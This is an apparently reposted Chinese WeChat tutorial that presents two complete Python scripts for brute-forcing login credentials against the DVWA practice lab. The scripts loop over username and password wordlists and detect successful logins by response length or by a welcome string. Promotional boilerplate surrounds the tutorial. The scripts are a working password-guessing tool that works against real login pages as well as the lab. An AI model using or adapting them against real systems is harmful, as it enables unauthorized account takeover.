查看原文
其他

一个简单的Python暴力破解网站登录密码脚本

点击上方 "Python人工智能技术关注,星标或者置顶
22点24分准时推送,第一时间送达
后台回复“大礼包”,送你特别福利

编辑:乐乐 | 来自:网络

Pythn人工智能技术(ID:coder_experience)第732期推文

上一篇:终于,微信这个新功能上线!


正文


大家好,我是Python人工智能技术

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级


关键代码解释


url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"


header设置请求头

header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'}


payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}


这一行的作用是作一次get请求,响应信息被变量Response接收

 Response = requests.get(url,params=payload,headers=header)


这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解


这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):


然后把循环结果存放到csv文件里,用逗号分割数据


Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度

result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content))f.write(result + '\n')

完整代码


方法一


登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
f = open('result.csv','w')f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) result = str(Response.status_code) + ',' + username + ','\ + password + ',' + str(len(Response.content)) f.write(result + '\n')
print('\n完成')

运行结果


运行


这就是脚本发送的数据包

查看结果

查看包长度与其他不同的数据,登录测试


方法二


这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里。另外,搜索公众号Java架构师技术后台回复“面试题”,获取一份惊喜礼包。


主要改动在第17到20行

import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,方便burp抓包查看header = { 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0', 'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'}
f = open('result.txt','w')for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"): for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"): username = admin.strip() password = line.strip() payload = {'username':username,'password':password,"Login":'Login'} Response = requests.get(url,params=payload,headers=header) if not(Response.text.find('Welcome to the password protected area')==-1): result = username + ':' + password print(result) f.write(result + '\n') print('\n完成')


运行结果

 

你还有什么想要补充的吗?

免责声明:本文内容来源于网络,文章版权归原作者所有,意在传播相关技术知识&行业趋势,供大家学习交流,若涉及作品版权问题,请联系删除或授权事宜。


技术君个人微信


添加技术君个人微信即送一份惊喜大礼包


→ 技术资料共享

→ 技术交流社群



--END--


往日热文:

看看人家那物业管理系统,那叫一个优雅(附源码)

一款神仙接私活儿软件,吊到不行!

保姆级别!带你搭建一台服务器!

8个Python数据清洗代码,拿来即用

西安一码通两次崩溃,技术原因是什么?

三行 Python 代码提取 PDF 表格数据

Python小游戏:外星人入侵!源码奉上!!

如何在半年内把团队带散?


Python程序员深度学习的“四大名著”:



这四本书着实很不错!我们都知道现在机器学习、深度学习的资料太多了,面对海量资源,往往陷入到“无从下手”的困惑出境。而且并非所有的书籍都是优质资源,浪费大量的时间是得不偿失的。给大家推荐这几本好书并做简单介绍。


获得方式:

1.扫码关注本公众号
2.后台回复关键词:名著

▲长按扫描关注,回复名著即可获取

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存